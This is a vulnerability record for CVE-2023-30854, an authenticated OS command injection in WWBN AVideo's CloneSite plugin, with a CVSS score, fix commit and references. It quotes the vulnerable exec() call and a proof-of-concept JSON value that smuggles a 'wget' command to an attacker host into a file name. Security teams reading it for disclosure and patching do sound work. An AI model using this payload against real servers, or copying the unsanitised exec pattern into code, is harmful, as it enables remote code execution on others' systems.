{"id":"CVE-2023-30854","aliases":["GHSA-6vrj-ph27-qfp3"],"url":"https://o3.security/vulnerability/CVE-2023-30854","summary":"WWBN AVideo vulnerable to OS Command Injection","details":"# WWBN Avideo Authenticated RCE - OS Command Injection\n\n## Description\n\nAn OS Command Injection vulnerability in an Authenticated endpoint `/plugin/CloneSite/cloneClient.json.php` allows attackers to achieve Remote Code Execution.\n\nVulnerable code:\n\n```php\n$cmd = \"wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}\";\n$log->add(\"Clone (2 of {$totalSteps}): Geting MySQL Dump file\");\nexec($cmd . \" 2>&1\", $output, $return_val);\n```\n\nWe can control `$objClone->cloneSiteURL`  through the admin panel clone site feature.\n\n`/plugin/CloneSite/cloneClient.json.php` sends a GET Request to `{$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php`. I hosted a  specially crafted `cloneServer.json.php` that prints the following JSON data\n\n```JSON\n{\"error\":false,\"msg\":\"\",\"url\":\"https:\\/\\/REDACTED/\\/\",\"key\":\"REDACTED\",\"useRsync\":1,\"videosDir\":\"\\/var\\/www\\/html\\/[demo.avideo.com](http://demo.avideo.com/)\\/videos\\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#\",\"videoFiles\":[],\"photoFiles\":[]}\n```\n\nSend a GET Request to `/plugin/CloneSite/cloneClient.json.php` then remote code execution is achieved.\n\n![rce](https://i.ibb.co/h14gQtn/rce.png)","published":"2023-04-28T15:35:59.382Z","modified":"2026-08-12T03:51:30.375391119Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.05175,"percentile":0.91856,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":"12.4"}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/020415d22f36d93ed865eb61994b49caa0f7f90a","label":"WWBN/AVideo@020415d"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/30xxx/CVE-2023-30854.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-6vrj-ph27-qfp3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-30854"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/020415d22f36d93ed865eb61994b49caa0f7f90a"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:30.375391119Z"}}